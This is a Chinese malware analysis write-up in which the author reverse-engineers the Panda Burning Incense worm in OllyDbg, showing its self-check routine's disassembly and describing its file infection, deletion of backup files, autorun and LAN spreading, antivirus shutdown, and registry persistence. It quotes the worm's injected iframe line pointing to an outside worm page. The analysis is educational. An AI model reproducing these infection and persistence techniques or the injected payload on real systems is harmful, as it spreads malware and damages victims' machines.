熊猫烧香病毒样本分析
前言
最近学校通知不开学,网课也不想上。学习逆向也有段时间了,就想着找点东西练一下水平不高。找了个病毒分析一比较经典的病毒分析。我看网上有很多关于熊猫烧香病毒的分析,但都是侧重于对病毒功能以及影响的总结,具体分析方法并未提及。本文主要
侧重于对熊猫烧香病毒逆向分析过程中的思路和方法的分享 |
基本信息
动态分析
-
分析工具以及环境
OD
PEID
VMware xp虚拟机 -
详细分析过程与思路
-
查看文件基本信息
在虚拟机中用PEID打开病毒样本文件发现其无壳并且是Delphi编写的,Delphi编译器编译的程序有几个特点。
第一: 其函数默认调用约定为Register,特点为函数参数是通过寄存器传入的。
第二: 一般Delphi其字符串存储地址的负偏移一个dword长度处,存放字符串的长度。
-
打开OD载入病毒样本文件
来到程序入口点后我们进行进一步分析,我们看到入口点处有 函数① 和 函数②,其中函数②连续调用了三次。我们F8向下执行,并分别进入两个函数分析其功能。
进入函数①我们发现其主要功能就是调用GetModuleHandleA()获得程序基地址(及程序实例句柄)
向下继续分析函数②,在调用函数②时我们发现其传入了两个参数,我们在数据窗口中分析发现参数有一个为一串字符串:“ ***武*汉*男*生*感*染*下*载*者*** ". 我们F7进入函数内部分析发现
其就时将eax参数地址下的字符串进行复制 所以我们知道了这三个参数是字符串复制函数,F8向下步过这些函数后。他们把字符串都复制到了一块连续的内存中。我们可以在数据窗口中观察这些字符的内容。
我们接着往下分析,发现两段相同的代码段,只是参数不同。也就是当程序执行完函数0x405360和函数0x404018后如果je不成立则结束进程(猜测应该为病毒程序的自效验部分)。我们分别进入连个函数分析。
我们先分析函数0x405360,函数的两个参数分别指向两个字符串一个是“xboy”,另一个如下。将这连个字符串经过如下算法加密后得到一个字符串为“ ***武*汉*男*生*感*染*下*载*者*** "存到0x009000c0地址处
-
00405360 /$ 55 push ebp
00405361 |. 8BEC mov ebp,esp
00405363 |. 83C4 E8 add esp,-0x18
00405366 |. 53 push ebx
00405367 |. 56 push esi
00405368 |. 57 push edi
00405369 |. 33DB xor ebx,ebx
0040536B |. 895D E8 mov [local.6],ebx
0040536E |. 895D F0 mov [local.4],ebx
00405371 |. 895D EC mov [local.5],ebx
00405374 |. 894D F4 mov [local.3],ecx
00405377 |. 8955 F8 mov [local.2],edx
0040537A |. 8945 FC mov [local.1],eax
0040537D |. 8B45 FC mov eax,[local.1]
00405380 |. E8 37EDFFFF call 004040BC
00405385 |. 8B45 F8 mov eax,[local.2]
00405388 |. E8 2FEDFFFF call 004040BC
0040538D |. 33C0 xor eax,eax
0040538F |. 55 push ebp
00405390 |. 68 4A544000 push 0x40544A
00405395 |. 64:FF30 push dword ptr fs:[eax]
00405398 |. 64:8920 mov dword ptr fs:[eax],esp
0040539B |. 837D FC 00 cmp [local.1],0x0
0040539F |. 75 0A jnz X004053AB
004053A1 |. 8B45 F4 mov eax,[local.3]
004053A4 |. E8 9BE8FFFF call 00403C44
004053A9 |. EB 77 jmp X00405422
004053AB |> 8D45 EC lea eax,[local.5]
004053AE |. 8B55 F8 mov edx,[local.2]
004053B1 |. E8 26E9FFFF call 00403CDC
004053B6 |. 8D45 F0 lea eax,[local.4]
004053B9 |. E8 86E8FFFF call 00403C44
004053BE |. 8B45 FC mov eax,[local.1]
004053C1 |. E8 06EBFFFF call 00403ECC ; strlen(字符串1)
004053C6 |. 8BF0 mov esi,eax ; esi = eax
004053C8 |. 85F6 test esi,esi ; if(esi == 0)
004053CA |. 7E 4B jle X00405417 ; break
004053CC |. BB 01000000 mov ebx,0x1 ; ebx = 1
004053D1 |> 8B45 EC /mov eax,[local.5] ; do{
004053D4 |. E8 F3EAFFFF |call 00403ECC ; strlen(字符串2)
004053D9 |. 50 |push eax
004053DA |. 8BC3 |mov eax,ebx ; eax = ebx
004053DC |. 5A |pop edx ; edx = eax
004053DD |. 8BCA |mov ecx,edx ; ecx = edx
004053DF |. 99 |cdq
004053E0 |. F7F9 |idiv ecx ; edx = eax % ecx
004053E2 |. 8BFA |mov edi,edx ; edi = edx
004053E4 |. 47 |inc edi ; edi++
004053E5 |. 8B45 EC |mov eax,[local.5]
004053E8 |. 0FB64438 FF |movzx eax,byte ptr ds:[eax+edi-0x1] ; eax = str1[edi - 1]
004053ED |. B9 0A000000 |mov ecx,0xA ; ecx = 10
004053F2 |. 33D2 |xor edx,edx ; edx = 0
004053F4 |. F7F1 |div ecx ; edx = eax % ecx
004053F6 |. 8B45 FC |mov eax,[local.1]
004053F9 |. 0FB64418 FF |movzx eax,byte ptr ds:[eax+ebx-0x1] ; eax = str2[edi - 1]
004053FE |. 33D0 |xor edx,eax ; edx = edx ^ eax
00405400 |. 8D45 E8 |lea eax,[local.6]
00405403 |. E8 24EAFFFF |call 00403E2C ; eax[ebx] = edx
00405408 |. 8B55 E8 |mov edx,[local.6]
0040540B |. 8D45 F0 |lea eax,[local.4]
0040540E |. E8 C1EAFFFF |call 00403ED4
00405413 |. 43 |inc ebx ; ebx++
00405414 |. 4E |dec esi ; esi--
00405415 |.^ 75 BA \jnz X004053D1 ; }
00405417 |> 8B45 F4 mov eax,[local.3]
0040541A |. 8B55 F0 mov edx,[local.4]
我们接着分析函数0x404018,我们发现其是比较两个参数eax所指向的字符串和edx所指向的字符串是否相等,而此时eax指向的字符串刚好是加密函数0x405360所产生的在0x009000c0地址下的字符串。而edx指向的地址0x0090000c地址下的字符串也刚好为此字符串,二者相当。所以不会结束进程。
现在我们知道了函数0x405360是一个加密函数,而函数0x404018是一个字符串比较函数。从而判断源文件是否被修改。
一共有两处这种判断,我们继续往下动态分析得第二处是将字符串“whboy”与如下字符串经过函数0x405360加密后得到第二张图中的字符串
程序通过这两处自效验过程后,继续运行我们继续向下分析发现程序在调用三个函数之后就会进入消息循环,所以我们可以得知这三个函数是这个病毒的主要功能。
- 第一个函数:
我们F7进入第一个函数,然后我们通过动态调试进入每一个Call分析其功能,最后分析如下。其会先调用GetMoudleFileNameA( )函数获得程序完整路径,然后在完整路径的基础上去掉程序名得到一个字符串后与Desktep.ini连接。并通过FindFirstFileA( )函数寻找此文件。如果找到了则删除此文件,否则跳过继续执行。
我们继续往下分析,其会调用ReadFile()把自己读到内存中,然后调用GetFileSize()获得文件的大小接着其会判断文件的最后一个字节是不是等于1,意思是等与1就证明其被感染文件随之去执行上方一部分代码块,否则则继续执行。
接着往下分析,程序会会获取系统路径并与drivers和spcolsv.exe连接成路径并于程序自身路径比较看是否相等,相等则会跳转。
因为程序路径与此路径不匹配,所以其不会跳转。接下来程序会利用OpenProcrss()函数来提成程序的权限,然后会调用CopyFile()函数把自身复制一份到系统路径的drivers文件夹下,并命名为spcolsv.exe. 创建完之后程序会调用WinExec( )运行此程序,并结束进程。
如此我们知道了,panda.exe主要是为了在系统目录的driver文件夹下创建病毒的副本spcolsv.exe文件并运行它。这样其在上方判断路径是否相等时就会成立,从而是程序继续往下执行。
接下来我们可以恢复虚拟机的初始快照,并再次分析病毒样本,当我们运行来到路径判断处时我们只要把ZF为置0即可让程序认为自己就时系统目录drivers文件夹下的spcolsv.exe程序了,接着我们就可以继续往下分析了。
接着分析后我们第一个函数运行返回了。我们紧接着可以分析第二个功能函数了。
- 第二个函数:
我们F7进入第二个函数后发现其调用了3个函数后返回,那我们就一个一个分析。
我们F7继续进入第一个函数后,返现此函数仅仅调用了CreateThread( )创建了一个线程。线程函数为0x0040A6C8函数,我们可以在此函数入口处下断点
我们这里使用一个技巧来完成多线程的调试,那就是我们可以在运行完此函数返回后直接跳过后两个函数,这样第二个功能函数返回后,我们也不执行第三个功能函数,直接让程序进入消息循环。这样一来方便我们调试此线程。当程序返回消息循环后我们F9运行程序,这是那个新创建的线程已经启动,并且程序断在了我们设置的线程函数入口断点处。
接着我们反汇编查看0x004076b4函数,发现其调用了GetDriveType( )。我们F7进入动态调试,我们发现其会从A遍历到Z盘,把存在的盘符保存到0x9c0160地址处。
接着会把存在的盘符与“:\”连接在一起。接着会调用0x4094a4函数,反汇编查看此函数时发现可疑。我们F7进入进一步分析。
进一步分析我们发现其会把刚才找到存在的盘符与“ *.* ”连接后,调用 FindFirstFileA( )寻找任意文件,如果找不到文件就跳转结束。(因为此时肯定有文件,所以F8运行其一定不会跳转,接着我们进一步往下分析)
当前寻找到文件后就会获得其扩展名,然后与“GHO”做比较,如果后缀等于“GHO”的文件统统调用DeleteFile( )删除.(GHO文件时系统备份文件,其是防止系统恢复)。
然后其又会比较找到的文件是否为setup.exe或者NTDETECT.COM,如果为这两个文件的话则直接去寻找下一个文件,不做任何操作。如果不是上述两个文件则继续判断文件的后缀,如果是exe,scr,pif,com文件则调用0x0040800函数,如果是htm,html,asp,php,jsp,aspx文件的话则会调用0x00407adc函数。
我们这里在这里判断是否为exe文件处下断点,运行程序后当寻找到磁盘中的cmdline.exe文件后其会进入第一类函数中进行感染文件,我们F7进入后会分析。其会先拍摄进程快照去寻找待感染的文件是否运行,如果已运行则放弃感染。
接着会判断查找到的文件是否为正在运行的程序,如果相等则直接返回。
接着其会把寻找的到的exe文件读到内存中,并且设置文件属性。
然后会将正在运行的病毒样本文件复制为待感染的exe文件。这样一来现在此exe文件现在就是病毒文件了。
然后往下通过动态分析得:其会获得原文件得大小然后和文件名与字符whboy连接在一起并以1结尾,构成一段字符串。然后一次在病毒程序后追加写入原文件和上述标志信息。
得感染后得文件组成为
病毒文件 | 原文件 | 标志信息 |
---|
接着我们利用上述思路分析0x00407adc函数得出其是通过将主要将字符串“<iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>”添加到文件末尾而感染网络文件得。
分析完第二功能函数得第一个函数后,我们接着去分析第二个函数。我们从新加载程序,并且我们直接设eip为第二个功能函数得第二个函数。这样便于分析,不会受到前面函数得影响。
F7进入此函数后发现设置了一个计时器,那么我们为了方便分析此计时器回调函数干了什么,我们同样先在计时器回调函数处下断点,然后在执行完此函数后直接返回到消息循环中。运行程序,发现程序会停在此计时器回调函数中。
我们往下分析此函数,其会先在已存在得盘得根目录下寻找setup.exe文件与autorun.inf文件。然后如果没有寻找到此文件就跳转。
跟着跳转后,其会把正在运行得病毒文件复制为c:\setup.exe。
随后又创建c:\autorun.inf文件
往文件中写入一下内容后,将setup.exe与autorun.inf得属性设为隐藏。
此函数到此就分析结束了。
紧接着我们在分析第二个功能函数得最后一个函数,同样我们重新载入程序,并且直接来到此函数处,不运行前面那几个功能函数。
F7进入此函数,发现其会创建线程,而且是循环创建10此。为了便于对此线程回调函数得分析,我们在其执行一次创建后就让其返回到消息循环中。
并在线程回调函数处下断点,运行程序将会断在此断点处。
程序停到此线程回调函数入口点后,我们进一步分析。发现此函数会通过端口139和端口445进行区域网传播。
这样此函数就分析完了,到此为止我们把前两个功能函数已经分析完了,下面分析第三个功能函数
- 第三个函数:
我们还是重新载入程序后,直接设置eip来到第三个功能函数处。然后我们F7进入函数后发现其主要功能就是设置了4个计时器。通过四个计时器回调函数来完成具体得功能。
我们还是采用以前得思路,在其计时器回调函数处下断点后我们运行完一个计时器设置函数后直接来到消息循环处。但是我们要注意其有的计时器设置得时间周期较长,我们可以在调用时把时间周期参数该小点。
- 第一个计时器回调函数
进入函数后我们发现函数调用了0x00406f3c函数,进入后发现是创建了一个线程。我们在线程回调函数处下断点并采用老方法来到断点处。
来到断点处我们发现其共有3种操作,一遍历杀毒软件并关闭。
二是设置特权
三是关闭任务管理器等一些程序
分析完线程函数后我们回到主线程继续分析其调用RegCreatekeyExA()---->RegSetValaueExA ----> RegCloseKey()来设置两个启动项,第一个是用来在开机时自动启动病毒。另一个是设置使用户无法查看隐藏文件
-
第二个计时器回调函数
接着重新载入程序来到第二个计时器回调函数处。我们在调用第二个计时器设置函数时我们应把其时间周期参数该小点,改为1000(1s)。然后在分析运行程序。
程序来到计时器回调函数中,发现函数实际是创建了一个线程。我们还采用直接在此线程回调函数处下断点,然后我们运行程序。
我们运行程序后,程序会停在线程回调函数得断点处。接下来我们就可以对此线程回调函数进一步分析。我们发现其会先调用0x40c728函数将一段密文与“xboy”进行一定得运算,算法和文件自效验时用的一样。最后得到一个网址。
接下来其会调用函数0x40c81c,反汇编查看发现可疑,我们F7进入分析。发现其实际是从刚才产生得那个网址上试图从网站读取到网页源代码并且运行代码。 -
第三个计时器回调函数
当程序停在第三个即使回调函数处时,我们发现其创建了两个线程。我们反汇编查看第二个线程得回调函数发现其利用cmd命令删除了共享文件
- 第四个计时器回调函数
来到第四个计时器回调函数后发现其创建了一个线程
我们在线程回调函数下断点,运行程序来到回调函数处。我们发现此回调函数主要是删除一些服务和杀毒软件得启动项(瑞星了什么的)
总结
该文就是我在分析病毒时的思路,没用IDA就时想锻炼锻炼反汇编代码的能力。动态调试结合IDA会更方便分析。第一次分析病毒如有不对的地方还请路过的大牛指点。